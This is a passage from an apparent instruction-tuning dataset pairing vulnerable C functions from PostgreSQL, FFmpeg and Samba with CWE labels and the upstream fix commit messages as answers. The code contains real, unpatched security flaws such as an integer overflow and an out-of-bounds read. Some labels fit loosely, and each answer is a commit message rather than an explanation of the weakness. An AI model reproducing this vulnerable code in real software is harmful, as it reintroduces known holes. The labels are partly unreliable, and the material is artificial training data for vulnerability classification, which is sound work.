nspid))\n\t\t{\n\t\t\tereport(NOTICE,\n\t\t\t\t\t(errcode(ERRCODE_DUPLICATE_TABLE),\n\t\t\t\t\t errmsg(\"relation \\\"%s\\\" already exists, skipping\",\n\t\t\t\t\t\t\tstmt->into->rel->relname)));\n\t\t\treturn InvalidObjectAddress;\n\t\t}\n\t}\n\n\t/*\n\t * Create the tuple receiver object and insert info it will need\n\t */\n\tdest = CreateIntoRelDestReceiver(into);\n\n\t/*\n\t * The contained Query could be a SELECT, or an EXECUTE utility command.\n\t * If the latter, we just pass it off to ExecuteQuery.\n\t */\n\tif (query->commandType == CMD_UTILITY &&\n\t\tIsA(query->utilityStmt, ExecuteStmt))\n\t{\n\t\tExecuteStmt *estmt = castNode(ExecuteStmt, query->utilityStmt);\n\n\t\tAssert(!is_matview);\t/* excluded by syntax */\n\t\tExecuteQuery(estmt, into, queryString, params, dest, completionTag);\n\n\t\t/* get object address that intorel_startup saved for us */\n\t\taddress = ((DR_intorel *) dest)->reladdr;\n\n\t\treturn address;\n\t}\n\tAssert(query->commandType == CMD_SELECT);\n\n\t/*\n\t * For materialized views, lock down security-restricted operations and\n\t * arrange to make GUC variable changes local to this command.  This is\n\t * not necessary for security, but this keeps the behavior similar to\n\t * REFRESH MATERIALIZED VIEW.  Otherwise, one could create a materialized\n\t * view not possible to refresh.\n\t */\n\tif (is_matview)\n\t{\n\t\tGetUserIdAndSecContext(&save_userid, &save_sec_context);\n\t\tSetUserIdAndSecContext(save_userid,\n\t\t\t\t\t\t\t   save_sec_context | SECURITY_RESTRICTED_OPERATION);\n\t\tsave_nestlevel = NewGUCNestLevel();\n\t}\n\n\tif (into->skipData)\n\t{\n\t\t/*\n\t\t * If WITH NO DATA was specified, do not go through the rewriter,\n\t\t * planner and executor.  Just define the relation using a code path\n\t\t * similar to CREATE VIEW.  This avoids dump/restore problems stemming\n\t\t * from running the planner before all dependencies are set up.\n\t\t */\n\t\taddress = create_ctas_nodata(query->targetList, into);\n\t}\n\telse\n\t{\n\t\t/*\n\t\t * Parse analysis was done already, but we still have to run the rule\n\t\t * rewriter.  We do not do AcquireRewriteLocks: we assume the query\n\t\t * either came straight from the parser, or suitable locks were\n\t\t * acquired by plancache.c.\n\t\t *\n\t\t * Because the rewriter and planner tend to scribble on the input, we\n\t\t * make a preliminary copy of the source querytree.  This prevents\n\t\t * problems in the case that CTAS is in a portal or plpgsql function\n\t\t * and is executed repeatedly.  (See also the same hack in EXPLAIN and\n\t\t * PREPARE.)\n\t\t */\n\t\trewritten = QueryRewrite(copyObject(query));\n\n\t\t/* SELECT should never rewrite to more or less than one SELECT query */\n\t\tif (list_length(rewritten) != 1)\n\t\t\telog(ERROR, \"unexpected rewrite result for %s\",\n\t\t\t\t is_matview ? \"CREATE MATERIALIZED VIEW\" :\n\t\t\t\t \"CREATE TABLE AS SELECT\");\n\t\tquery = linitial_node(Query, rewritten);\n\t\tAssert(query->commandType == CMD_SELECT);\n\n\t\t/* plan the query --- note we disallow parallelism */\n\t\tplan = pg_plan_query(query, 0, params);\n\n\t\t/*\n\t\t * Use a snapshot with an updated command ID to ensure this query sees\n\t\t * results of any previously executed queries.  (This could only\n\t\t * matter if the planner executed an allegedly-stable function that\n\t\t * changed the database contents, but let's do it anyway to be\n\t\t * parallel to the EXPLAIN code path.)\n\t\t */\n\t\tPushCopiedSnapshot(GetActiveSnapshot());\n\t\tUpdateActiveSnapshotCommandId();\n\n\t\t/* Create a QueryDesc, redirecting output to our tuple receiver */\n\t\tqueryDesc = CreateQueryDesc(plan, queryString,\n\t\t\t\t\t\t\t\t\tGetActiveSnapshot(), InvalidSnapshot,\n\t\t\t\t\t\t\t\t\tdest, params, queryEnv, 0);\n\n\t\t/* call ExecutorStart to prepare the plan for execution */\n\t\tExecutorStart(queryDesc, GetIntoRelEFlags(into));\n\n\t\t/* run the plan to completion */\n\t\tExecutorRun(queryDesc, ForwardScanDirection, 0L, true);\n\n\t\t/* save the rowcount if we're given a completionTag to fill */\n\t\tif (completionTag)\n\t\t\tsnprintf(completionTag, COMPLETION_TAG_BUFSIZE,\n\t\t\t\t\t \"SELECT \" UINT64_FORMAT,\n\t\t\t\t\t queryDesc->estate->es_processed);\n\n\t\t/* get object address that intorel_startup saved for us */\n\t\taddress = ((DR_intorel *) dest)->reladdr;\n\n\t\t/* and clean up */\n\t\tExecutorFinish(queryDesc);\n\t\tExecutorEnd(queryDesc);\n\n\t\tFreeQueryDesc(queryDesc);\n\n\t\tPopActiveSnapshot();\n\t}\n\n\tif (is_matview)\n\t{\n\t\t/* Roll back any GUC changes */\n\t\tAtEOXact_GUC(false, save_nestlevel);\n\n\t\t/* Restore userid and security context */\n\t\tSetUserIdAndSecContext(save_userid, save_sec_context);\n\t}\n\n\treturn address;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-94'], 'message': 'In extensions, don't replace objects not belonging to the extension.\n\nPreviously, if an extension script did CREATE OR REPLACE and there was\nan existing object not belonging to the extension, it would overwrite\nthe object and adopt it into the extension.  This is problematic, first\nbecause the overwrite is probably unintentional, and second because we\ndidn't change the object's ownership.  Thus a hostile user could create\nan object in advance of an expected CREATE EXTENSION command, and would\nthen have ownership rights on an extension object, which could be\nmodified for trojan-horse-type attacks.\n\nHence, forbid CREATE OR REPLACE of an existing object unless it already\nbelongs to the extension.  (Note that we've always forbidden replacing\nan object that belongs to some other extension; only the behavior for\npreviously-free-standing objects changes here.)\n\nFor the same reason, also fail CREATE IF NOT EXISTS when there is\nan existing object that doesn't belong to the extension.\n\nOur thanks to Sven Klemm for reporting this problem.\n\nSecurity: CVE-2022-2625'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int dxtory_decode_v1_420(AVCodecContext *avctx, AVFrame *pic,\n                                const uint8_t *src, int src_size)\n{\n    int h, w;\n    uint8_t *Y1, *Y2, *U, *V;\n    int ret;\n\n    if (src_size < avctx->width * avctx->height * 3 / 2) {\n        av_log(avctx, AV_LOG_ERROR, \"packet too small\\n\");\n        return AVERROR_INVALIDDATA;\n    }\n\n    avctx->pix_fmt = AV_PIX_FMT_YUV420P;\n    if ((ret = ff_get_buffer(avctx, pic, 0)) < 0)\n        return ret;\n\n    Y1 = pic->data[0];\n    Y2 = pic->data[0] + pic->linesize[0];\n    U  = pic->data[1];\n    V  = pic->data[2];\n    for (h = 0; h < avctx->height; h += 2) {\n        for (w = 0; w < avctx->width; w += 2) {\n            AV_COPY16(Y1 + w, src);\n            AV_COPY16(Y2 + w, src + 2);\n            U[w >> 1] = src[4] + 0x80;\n            V[w >> 1] = src[5] + 0x80;\n            src += 6;\n        }\n        Y1 += pic->linesize[0] << 1;\n        Y2 += pic->linesize[0] << 1;\n        U  += pic->linesize[1];\n        V  += pic->linesize[2];\n    }\n\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': 'avcodec/dxtory: fix src size checks\n\nFixes integer overflow\nFixes out of array read\nFixes: d104661bb59b202df7671fb19a00ca6c-asan_heap-oob_d6429d_5066_cov_1729501105_dxtory_mic.avi\nFound-by: Mateusz \"j00ru\" Jurczyk and Gynvael Coldwind\nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static NTSTATUS setInfoTrustedDomain_base(struct dcesrv_call_state *dce_call,\n\t\t\t\t\t  struct lsa_policy_state *p_state,\n\t\t\t\t\t  TALLOC_CTX *mem_ctx,\n\t\t\t\t\t  struct ldb_message *dom_msg,\n\t\t\t\t\t  enum lsa_TrustDomInfoEnum level,\n\t\t\t\t\t  union lsa_TrustedDomainInfo *info)\n{\n\tuint32_t *posix_offset = NULL;\n\tstruct lsa_TrustDomainInfoInfoEx *info_ex = NULL;\n\tstruct lsa_TrustDomainInfoAuthInfo *auth_info = NULL;\n\tstruct lsa_TrustDomainInfoAuthInfoInternal *auth_info_int = NULL;\n\tuint32_t *enc_types = NULL;\n\tDATA_BLOB trustAuthIncoming, trustAuthOutgoing, auth_blob;\n\tstruct trustDomainPasswords auth_struct;\n\tstruct trustAuthInOutBlob *current_passwords = NULL;\n\tNTSTATUS nt_status;\n\tstruct ldb_message **msgs;\n\tstruct ldb_message *msg;\n\tbool add_outgoing = false;\n\tbool add_incoming = false;\n\tbool del_outgoing = false;\n\tbool del_incoming = false;\n\tbool del_forest_info = false;\n\tbool in_transaction = false;\n\tint ret;\n\tbool am_rodc;\n\n\tswitch (level) {\n\tcase LSA_TRUSTED_DOMAIN_INFO_POSIX_OFFSET:\n\t\tposix_offset = &info->posix_offset.posix_offset;\n\t\tbreak;\n\tcase LSA_TRUSTED_DOMAIN_INFO_INFO_EX:\n\t\tinfo_ex = &info->info_ex;\n\t\tbreak;\n\tcase LSA_TRUSTED_DOMAIN_INFO_AUTH_INFO:\n\t\tauth_info = &info->auth_info;\n\t\tbreak;\n\tcase LSA_TRUSTED_DOMAIN_INFO_FULL_INFO:\n\t\tposix_offset = &info->full_info.posix_offset.posix_offset;\n\t\tinfo_ex = &info->full_info.info_ex;\n\t\tauth_info = &info->full_info.auth_info;\n\t\tbreak;\n\tcase LSA_TRUSTED_DOMAIN_INFO_AUTH_INFO_INTERNAL:\n\t\tauth_info_int = &info->auth_info_internal;\n\t\tbreak;\n\tcase LSA_TRUSTED_DOMAIN_INFO_FULL_INFO_INTERNAL:\n\t\tposix_offset = &info->full_info_internal.posix_offset.posix_offset;\n\t\tinfo_ex = &info->full_info_internal.info_ex;\n\t\tauth_info_int = &info->full_info_internal.auth_info;\n\t\tbreak;\n\tcase LSA_TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES:\n\t\tenc_types = &info->enc_types.enc_types;\n\t\tbreak;\n\tdefault:\n\t\treturn NT_STATUS_INVALID_PARAMETER;\n\t}\n\n\tif (auth_info) {\n\t\tnt_status = auth_info_2_auth_blob(mem_ctx, auth_info,\n\t\t\t\t\t\t  &trustAuthIncoming,\n\t\t\t\t\t\t  &trustAuthOutgoing);\n\t\tif (!NT_STATUS_IS_OK(nt_status)) {\n\t\t\treturn nt_status;\n\t\t}\n\t\tif (trustAuthIncoming.data) {\n\t\t\t/* This does the decode of some of this twice, but it is easier that way */\n\t\t\tnt_status = auth_info_2_trustauth_inout(mem_ctx,\n\t\t\t\t\t\t\t\tauth_info->incoming_count,\n\t\t\t\t\t\t\t\tauth_info->incoming_current_auth_info,\n\t\t\t\t\t\t\t\tNULL,\n\t\t\t\t\t\t\t\t¤t_passwords);\n\t\t\tif (!NT_STATUS_IS_OK(nt_status)) {\n\t\t\t\treturn nt_status;\n\t\t\t}\n\t\t}\n\t}\n\n\t/* decode auth_info_int if set */\n\tif (auth_info_int) {\n\n\t\t/* now decrypt blob */\n\t\tauth_blob = data_blob_const(auth_info_int->auth_blob.data,\n\t\t\t\t\t    auth_info_int->auth_blob.size);\n\n\t\tnt_status = get_trustdom_auth_blob(dce_call, mem_ctx,\n\t\t\t\t\t\t   &auth_blob, &auth_struct);\n\t\tif (!NT_STATUS_IS_OK(nt_status)) {\n\t\t\treturn nt_status;\n\t\t}\n\t}\n\n\tif (info_ex) {\n\t\t/* verify data matches */\n\t\tif (info_ex->trust_attributes &\n\t\t    LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE) {\n\t\t\t/* TODO: check what behavior level we have */\n\t\t       if (strcasecmp_m(p_state->domain_dns,\n\t\t\t\t\tp_state->forest_dns) != 0) {\n\t\t\t\treturn NT_STATUS_INVALID_DOMAIN_STATE;\n\t\t\t}\n\t\t}\n\n\t\tret = samdb_rodc(p_state->sam_ldb, &am_rodc);\n\t\tif (ret == LDB_SUCCESS && am_rodc) {\n\t\t\treturn NT_STATUS_NO_SUCH_DOMAIN;\n\t\t}\n\n\t\t/* verify only one object matches the dns/netbios/sid\n\t\t * triplet and that this is the one we already have */\n\t\tnt_status = get_tdo(p_state->sam_ldb, mem_ctx,\n\t\t\t\t    p_state->system_dn,\n\t\t\t\t    info_ex->domain_name.string,\n\t\t\t\t    info_ex->netbios_name.string,\n\t\t\t\t    info_ex->sid, &msgs);\n\t\tif (!NT_STATUS_IS_OK(nt_status)) {\n\t\t\treturn nt_status;\n\t\t}\n\t\tif (ldb_dn_compare(dom_msg->dn, msgs[0]->dn) != 0) {\n\t\t\treturn NT_STATUS_OBJECT_NAME_COLLISION;\n\t\t}\n\t\ttalloc_free(msgs);\n\t}\n\n\t/* TODO: should we fetch previous values from the existing entry\n\t * and append them ? */\n\tif (auth_info_int && auth_struct.incoming.count) {\n\t\tnt_status = get_trustauth_inout_blob(dce_call, mem_ctx,\n\t\t\t\t\t\t     &auth_struct.incoming,\n\t\t\t\t\t\t     &trustAuthIncoming);\n\t\tif (!NT_STATUS_IS_OK(nt_status)) {\n\t\t\treturn nt_status;\n\t\t}\n\n\t\tcurrent_passwords = &auth_struct.incoming;\n\n\t} else {\n\t\ttrustAuthIncoming = data_blob(NULL, 0);\n\t}\n\n\tif (auth_info_int && auth_struct.outgoing.count) {\n\t\tnt_status = get_trustauth_inout_blob(dce_call, mem_ctx,\n\t\t\t\t\t\t     &auth_struct.outgoing,\n\t\t\t\t\t\t     &trustAuthOutgoing);\n\t\tif (!NT_STATUS_IS_OK(nt_status)) {\n\t\t\treturn nt_status;\n\t\t}\n\t} else {\n\t\ttrustAuthOutgoing = data_blob(NULL, 0);\n\t}\n\n\tmsg = ldb_msg_new(mem_ctx);\n\tif (msg == NULL) {\n\t\treturn NT_STATUS_NO_MEMORY;\n\t}\n\tmsg->dn = dom_msg->dn;\n\n\tif (posix_offset) {\n\t\tnt_status = update_uint32_t_value(mem_ctx, p_state->sam_ldb,\n\t\t\t\t\t\t  dom_msg, msg,\n\t\t\t\t\t\t  \"trustPosixOffset\",\n\t\t\t\t\t\t  *posix_offset, NULL);\n\t\tif (!NT_STATUS_IS_OK(nt_status)) {\n\t\t\treturn nt_status;\n\t\t}\n\t}\n\n\tif (info_ex) {\n\t\tuint32_t origattrs;\n\t\tuint32_t changed_attrs;\n\t\tuint32_t origdir;\n\t\tint origtype;\n\n\t\tnt_status = update_uint32_t_value(mem_ctx, p_state->sam_ldb,\n\t\t\t\t\t\t  dom_msg, msg,\n\t\t\t\t\t\t  \"trustDirection\",\n\t\t\t\t\t\t  info_ex->trust_direction,\n\t\t\t\t\t\t  &origdir);\n\t\tif (!NT_STATUS_IS_OK(nt_status)) {\n\t\t\treturn nt_status;\n\t\t}\n\n\t\tif (info_ex->trust_direction & LSA_TRUST_DIRECTION_INBOUND) {\n\t\t\tif (auth_info != NULL && trustAuthIncoming.length > 0) {\n\t\t\t\tadd_incoming = true;\n\t\t\t}\n\t\t}\n\t\tif (info_ex->trust_direction & LSA_TRUST_DIRECTION_OUTBOUND) {\n\t\t\tif (auth_info != NULL && trustAuthOutgoing.length > 0) {\n\t\t\t\tadd_outgoing = true;\n\t\t\t}\n\t\t}\n\n\t\tif ((origdir & LSA_TRUST_DIRECTION_INBOUND) &&\n\t\t    !(info_ex->trust_direction & LSA_TRUST_DIRECTION_INBOUND)) {\n\t\t\tdel_incoming = true;\n\t\t}\n\t\tif ((origdir & LSA_TRUST_DIRECTION_OUTBOUND) &&\n\t\t    !(info_ex->trust_direction & LSA_TRUST_DIRECTION_OUTBOUND)) {\n\t\t\tdel_outgoing = true;\n\t\t}\n\n\t\torigtype = ldb_msg_find_attr_as_int(dom_msg, \"trustType\", -1);\n\t\tif (origtype == -1 || origtype != info_ex->trust_type) {\n\t\t\tDEBUG(1, (\"Attempted to change trust type! \"\n\t\t\t\t  \"Operation not handled\\n\"));\n\t\t\treturn NT_STATUS_INVALID_PARAMETER;\n\t\t}\n\n\t\tnt_status = update_uint32_t_value(mem_ctx, p_state->sam_ldb,\n\t\t\t\t\t\t  dom_msg, msg,\n\t\t\t\t\t\t  \"trustAttributes\",\n\t\t\t\t\t\t  info_ex->trust_attributes,\n\t\t\t\t\t\t  &origattrs);\n\t\tif (!NT_STATUS_IS_OK(nt_status)) {\n\t\t\treturn nt_status;\n\t\t}\n\t\t/* TODO: check forestFunctionality from ldb opaque */\n\t\t/* TODO: check what is set makes sense */\n\n\t\tchanged_attrs = origattrs ^ info_ex->trust_attributes;\n\t\tif (changed_attrs & ~LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE) {\n\t\t\t/*\n\t\t\t * For now we only allow\n\t\t\t * LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE to be changed.\n\t\t\t *\n\t\t\t * TODO: we may need to support more attribute changes\n\t\t\t */\n\t\t\tDEBUG(1, (\"Attempted to change trust attributes \"\n\t\t\t\t  \"(0x%08x != 0x%08x)! \"\n\t\t\t\t  \"Operation not handled yet...\\n\",\n\t\t\t\t  (unsigned)origattrs,\n\t\t\t\t  (unsigned)info_ex->trust_attributes));\n\t\t\treturn NT_STATUS_INVALID_PARAMETER;\n\t\t}\n\n\t\tif (!(info_ex->trust_attributes &\n\t\t      LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE))\n\t\t{\n\t\t\tstruct ldb_message_element *orig_forest_el = NULL;\n\n\t\t\torig_forest_el = ldb_msg_find_element(dom_msg,\n\t\t\t\t\t\t\"msDS-TrustForestTrustInfo\");\n\t\t\tif (orig_forest_el != NULL) {\n\t\t\t\tdel_forest_info = true;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (enc_types) {\n\t\tnt_status = update_uint32_t_value(mem_ctx, p_state->sam_ldb,\n\t\t\t\t\t\t  dom_msg, msg,\n\t\t\t\t\t\t  \"msDS-SupportedEncryptionTypes\",\n\t\t\t\t\t\t  *enc_types, NULL);\n\t\tif (!NT_STATUS_IS_OK(nt_status)) {\n\t\t\treturn nt_status;\n\t\t}\n\t}\n\n\tif (add_incoming || del_incoming) {\n\t\tret = ldb_msg_add_empty(msg, \"trustAuthIncoming\",\n\t\t\t\t\tLDB_FLAG_MOD_REPLACE, NULL);\n\t\tif (ret != LDB_SUCCESS) {\n\t\t\treturn NT_STATUS_NO_MEMORY;\n\t\t}\n\t\tif (add_incoming) {\n\t\t\tret = ldb_msg_add_value(msg, \"trustAuthIncoming\",\n\t\t\t\t\t\t&trustAuthIncoming, NULL);\n\t\t\tif (ret != LDB_SUCCESS) {\n\t\t\t\treturn NT_STATUS_NO_MEMORY;\n\t\t\t}\n\t\t}\n\t}\n\tif (add_outgoing || del_outgoing) {\n\t\tret = ldb_msg_add_empty(msg, \"trustAuthOutgoing\",\n\t\t\t\t\tLDB_FLAG_MOD_REPLACE, NULL);\n\t\tif (ret != LDB_SUCCESS) {\n\t\t\treturn NT_STATUS_NO_MEMORY;\n\t\t}\n\t\tif (add_outgoing) {\n\t\t\tret = ldb_msg_add_value(msg, \"trustAuthOutgoing\",\n\t\t\t\t\t\t&trustAuthOutgoing, NULL);\n\t\t\tif (ret != LDB_SUCCESS) {\n\t\t\t\treturn NT_STATUS_NO_MEMORY;\n\t\t\t}\n\t\t}\n\t}\n\tif (del_forest_info) {\n\t\tret = ldb_msg_add_empty(msg, \"msDS-TrustForestTrustInfo\",\n\t\t\t\t\tLDB_FLAG_MOD_REPLACE, NULL);\n\t\tif (ret != LDB_SUCCESS) {\n\t\t\treturn NT_STATUS_NO_MEMORY;\n\t\t}\n\t}\n\n\t/* start transaction */\n\tret = ldb_transaction_start(p_state->sam_ldb);\n\tif (ret != LDB_SUCCESS) {\n\t\treturn NT_STATUS_INTERNAL_DB_CORRUPTION;\n\t}\n\tin_transaction = true;\n\n\tif (msg->num_elements) {\n\t\tret = ldb_modify(p_state->sam_ldb, msg);\n\t\tif (ret != LDB_SUCCESS) {\n\t\t\tDEBUG(1,(\"Failed to modify trusted domain record %s: %s\\n\",\n\t\t\t\t ldb_dn_get_linearized(msg->dn),\n\t\t\t\t ldb_errstring(p_state->sam_ldb)));\n\t\t\tnt_status = dsdb_ldb_err_to_ntstatus(ret);\n\t\t\tgoto done;\n\t\t}\n\t}\n\n\tif (add_incoming || del_incoming) {\n\t\tconst char *netbios_name;\n\n\t\tnetbios_name = ldb_msg_find_attr_as_string(dom_msg,\n\t\t\t\t\t\t\t   \"flatname\", NULL);\n\t\tif (!netbios_name) {\n\t\t\tnt_status = NT_STATUS_INVALID_DOMAIN_STATE;\n\t\t\tgoto done;\n\t\t}\n\n\t\t/* We use trustAuthIncoming.data to incidate that auth_struct.incoming is valid */\n\t\tnt_status = update_trust_user(mem_ctx,\n\t\t\t\t\t      p_state->sam_ldb,\n\t\t\t\t\t      p_state->domain_dn,\n\t\t\t\t\t      del_incoming,\n\t\t\t\t\t      netbios_name,\n\t\t\t\t\t      current_passwords);\n\t\tif (!NT_STATUS_IS_OK(nt_status)) {\n\t\t\tgoto done;\n\t\t}\n\t}\n\n\t/* ok, all fine, commit transaction and return */\n\tret = ldb_transaction_commit(p_state->sam_ldb);\n\tif (ret != LDB_SUCCESS) {\n\t\treturn NT_STATUS_INTERNAL_DB_CORRUPTION;\n\t}\n\tin_transaction = false;\n\n\tnt_status = NT_STATUS_OK;\n\ndone:\n\tif (in_transaction) {\n\t\tldb_transaction_cancel(p_state->sam_ldb);\n\t}\n\treturn nt_status;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'CVE-2022-32746 ldb: Make use of functions for appending to an ldb_message\n\nThis aims to minimise usage of the error-prone pattern of searching for\na just-added message element in order to make modifications to it (and\npotentially finding the wrong element).\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=15009\n\nSigned-off-by: Joseph Sutton '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int replmd_rename_callback(struct ldb_request *req, struct ldb_reply *ares)\n{\n\tstruct ldb_context *ldb;\n\tstruct ldb_request *down_req;\n\tstruct ldb_message *msg;\n\tconst struct dsdb_attribute *rdn_attr;\n\tconst char *rdn_name;\n\tconst struct ldb_val *rdn_val;\n\tconst char *attrs[5] = { NULL, };\n\ttime_t t = time(NULL);\n\tint ret;\n\tbool is_urgent = false, rodc = false;\n\tbool is_schema_nc;\n\tstruct replmd_replicated_request *ac =\n\t\ttalloc_get_type(req->context, struct replmd_replicated_request);\n\tstruct replmd_private *replmd_private =\n\t\ttalloc_get_type(ldb_module_get_private(ac->module),\n\t\t\t\tstruct replmd_private);\n\n\tldb = ldb_module_get_ctx(ac->module);\n\n\tif (ares->error != LDB_SUCCESS) {\n\t\treturn ldb_module_done(ac->req, ares->controls,\n\t\t\t\t\tares->response, ares->error);\n\t}\n\n\tif (ares->type != LDB_REPLY_DONE) {\n\t\tldb_set_errstring(ldb,\n\t\t\t\"invalid reply type in repl_meta_data rename callback\");\n\t\ttalloc_free(ares);\n\t\treturn ldb_module_done(ac->req, NULL, NULL,\n\t\t\t\t\tLDB_ERR_OPERATIONS_ERROR);\n\t}\n\n\t/* TODO:\n\t * - replace the old object with the newly constructed one\n\t */\n\n\tmsg = ldb_msg_new(ac);\n\tif (msg == NULL) {\n\t\tldb_oom(ldb);\n\t\treturn LDB_ERR_OPERATIONS_ERROR;\n\t}\n\n\tmsg->dn = ac->req->op.rename.newdn;\n\n\tis_schema_nc = ldb_dn_compare_base(replmd_private->schema_dn, msg->dn) == 0;\n\n\trdn_name = ldb_dn_get_rdn_name(msg->dn);\n\tif (rdn_name == NULL) {\n\t\ttalloc_free(ares);\n\t\treturn ldb_module_done(ac->req, NULL, NULL,\n\t\t\t\t       ldb_operr(ldb));\n\t}\n\n\t/* normalize the rdn attribute name */\n\trdn_attr = dsdb_attribute_by_lDAPDisplayName(ac->schema, rdn_name);\n\tif (rdn_attr == NULL) {\n\t\ttalloc_free(ares);\n\t\treturn ldb_module_done(ac->req, NULL, NULL,\n\t\t\t\t       ldb_operr(ldb));\n\t}\n\trdn_name = rdn_attr->lDAPDisplayName;\n\n\trdn_val = ldb_dn_get_rdn_val(msg->dn);\n\tif (rdn_val == NULL) {\n\t\ttalloc_free(ares);\n\t\treturn ldb_module_done(ac->req, NULL, NULL,\n\t\t\t\t       ldb_operr(ldb));\n\t}\n\n\tif (ldb_msg_add_empty(msg, rdn_name, LDB_FLAG_MOD_REPLACE, NULL) != 0) {\n\t\ttalloc_free(ares);\n\t\treturn ldb_module_done(ac->req, NULL, NULL,\n\t\t\t\t       ldb_oom(ldb));\n\t}\n\tif (ldb_msg_add_value(msg, rdn_name, rdn_val, NULL) != 0) {\n\t\ttalloc_free(ares);\n\t\treturn ldb_module_done(ac->req, NULL, NULL,\n\t\t\t\t       ldb_oom(ldb));\n\t}\n\tif (ldb_msg_add_empty(msg, \"name\", LDB_FLAG_MOD_REPLACE, NULL) != 0) {\n\t\ttalloc_free(ares);\n\t\treturn ldb_module_done(ac->req, NULL, NULL,\n\t\t\t\t       ldb_oom(ldb));\n\t}\n\tif (ldb_msg_add_value(msg, \"name\", rdn_val, NULL) != 0) {\n\t\ttalloc_free(ares);\n\t\treturn ldb_module_done(ac->req, NULL, NULL,\n\t\t\t\t       ldb_oom(ldb));\n\t}\n\n\t/*\n\t * here we let replmd_update_rpmd() only search for\n\t * the existing \"replPropertyMetaData\" and rdn_name attributes.\n\t *\n\t * We do not want the existing \"name\" attribute as\n\t * the \"name\" attribute needs to get the version\n\t * updated on rename even if the rdn value hasn't changed.\n\t *\n\t * This is the diff of the meta data, for a moved user\n\t * on a w2k8r2 server:\n\t *\n\t * # record 1\n\t * -dn: CN=sdf df,CN=Users,DC=bla,DC=base\n\t * +dn: CN=sdf df,OU=TestOU,DC=bla,DC=base\n\t *  replPropertyMetaData:     NDR: struct replPropertyMetaDataBlob\n\t *         version                  : 0x00000001 (1)\n\t *         reserved                 : 0x00000000 (0)\n\t * @@ -66,11 +66,11 @@ replPropertyMetaData:     NDR: struct re\n\t *                      local_usn                : 0x00000000000037a5 (14245)\n\t *                 array: struct replPropertyMetaData1\n\t *                      attid                    : DRSUAPI_ATTID_name (0x90001)\n\t * -                    version                  : 0x00000001 (1)\n\t * -                    originating_change_time  : Wed Feb  9 17:20:49 2011 CET\n\t * +                    version                  : 0x00000002 (2)\n\t * +                    originating_change_time  : Wed Apr  6 15:21:01 2011 CEST\n\t *                      originating_invocation_id: 0d36ca05-5507-4e62-aca3-354bab0d39e1\n\t * -                    originating_usn          : 0x00000000000037a5 (14245)\n\t * -                    local_usn                : 0x00000000000037a5 (14245)\n\t * +                    originating_usn          : 0x0000000000003834 (14388)\n\t * +                    local_usn                : 0x0000000000003834 (14388)\n\t *                 array: struct replPropertyMetaData1\n\t *                      attid                    : DRSUAPI_ATTID_userAccountControl (0x90008)\n\t *                      version                  : 0x00000004 (4)\n\t */\n\tattrs[0] = \"replPropertyMetaData\";\n\tattrs[1] = \"objectClass\";\n\tattrs[2] = \"instanceType\";\n\tattrs[3] = rdn_name;\n\tattrs[4] = NULL;\n\n\tret = replmd_update_rpmd(ac->module, ac->schema, req, attrs,\n\t\t\t\t msg, &ac->seq_num, t,\n\t\t\t\t is_schema_nc, &is_urgent, &rodc);\n\tif (rodc && (ret == LDB_ERR_REFERRAL)) {\n\t\tret = send_rodc_referral(req, ldb, ac->req->op.rename.olddn);\n\t\ttalloc_free(ares);\n\t\treturn ldb_module_done(req, NULL, NULL, ret);\n\t}\n\n\tif (ret != LDB_SUCCESS) {\n\t\ttalloc_free(ares);\n\t\treturn ldb_module_done(ac->req, NULL, NULL, ret);\n\t}\n\n\tif (ac->seq_num == 0) {\n\t\ttalloc_free(ares);\n\t\treturn ldb_module_done(ac->req, NULL, NULL,\n\t\t\t\t       ldb_error(ldb, ret,\n\t\t\t\t\t\"internal error seq_num == 0\"));\n\t}\n\tac->is_urgent = is_urgent;\n\n\tret = ldb_build_mod_req(&down_req, ldb, ac,\n\t\t\t\tmsg,\n\t\t\t\treq->controls,\n\t\t\t\tac, replmd_op_callback,\n\t\t\t\treq);\n\tLDB_REQ_SET_LOCATION(down_req);\n\tif (ret != LDB_SUCCESS) {\n\t\ttalloc_free(ac);\n\t\treturn ret;\n\t}\n\n\t/* current partition control is needed by \"replmd_op_callback\" */\n\tif (ldb_request_get_control(req, DSDB_CONTROL_CURRENT_PARTITION_OID) == NULL) {\n\t\tret = ldb_request_add_control(down_req,\n\t\t\t\t\t      DSDB_CONTROL_CURRENT_PARTITION_OID,\n\t\t\t\t\t      false, NULL);\n\t\tif (ret != LDB_SUCCESS) {\n\t\t\ttalloc_free(ac);\n\t\t\treturn ret;\n\t\t}\n\t}\n\n\ttalloc_steal(down_req, msg);\n\n\tret = add_time_element(msg, \"whenChanged\", t);\n\tif (ret != LDB_SUCCESS) {\n\t\ttalloc_free(ac);\n\t\tldb_operr(ldb);\n\t\treturn ret;\n\t}\n\n\tret = add_uint64_element(ldb, msg, \"uSNChanged\", ac->seq_num);\n\tif (ret != LDB_SUCCESS) {\n\t\ttalloc_free(ac);\n\t\tldb_operr(ldb);\n\t\treturn ret;\n\t}\n\n\t/* go on with the call chain - do the modify after the rename */\n\treturn ldb_next_request(ac->module, down_req);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'CVE-2022-32746 ldb: Make use of functions for appending to an 